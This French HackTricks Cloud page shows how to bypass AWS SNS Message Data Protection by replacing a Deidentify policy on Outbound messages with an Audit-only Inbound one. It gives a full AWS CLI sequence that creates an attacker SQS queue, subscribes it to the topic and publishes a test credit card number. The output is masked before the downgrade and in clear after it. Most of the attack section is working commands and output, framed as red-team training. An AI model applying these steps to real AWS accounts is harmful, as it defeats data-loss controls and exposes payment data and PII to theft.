AWS - SNS Message Data Protection : contournement via rétrogradation de la politique
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Si vous avez sns:PutDataProtectionPolicy sur un topic, vous pouvez changer sa politique Message Data Protection de Deidentify/Deny en Audit-only (ou supprimer les contrôles Outbound) afin que des valeurs sensibles (par ex., numéros de carte de crédit) soient livrées non modifiées à votre abonnement.
Prérequis
- Permissions sur le topic cible pour appeler
sns:PutDataProtectionPolicy(et généralementsns:Subscribesi vous voulez recevoir les données). - Topic SNS standard (Message Data Protection supporté).
Étapes de l’attaque
- Variables
REGION=us-east-1
- Créez un topic standard et une file SQS d’attaquant, et autorisez uniquement ce topic à envoyer vers la file
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- Attachez une data protection policy qui masque les numéros de carte de crédit dans les messages outbound
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- Abonnez la file de l’attaquant et publiez un message contenant un numéro de carte de test, vérifiez le masquage
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
L’extrait attendu montre le masquage (hashes) :
"Message" : "payment:{cc:################}"
- Rétrograder la politique en audit-only (aucune instruction de deidentify/deny affectant Outbound)
Pour SNS, les statements Audit doivent être Inbound. Remplacer la politique par une instruction Inbound en Audit-only supprime toute dé-identification Outbound, donc les messages transitent non modifiés vers les subscribers.
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- Publier le même message et vérifier que la valeur non masquée est livrée
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Extrait attendu montrant le CC en clair :
4539894458086459
Impact
- Le passage d’un topic de de-identification/deny à audit-only (ou la suppression des Outbound controls) permet à PII/secrets de transiter sans modification vers des subscriptions contrôlées par un attaquant, autorisant une exfiltration de données qui aurait autrement été masquée ou bloquée.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

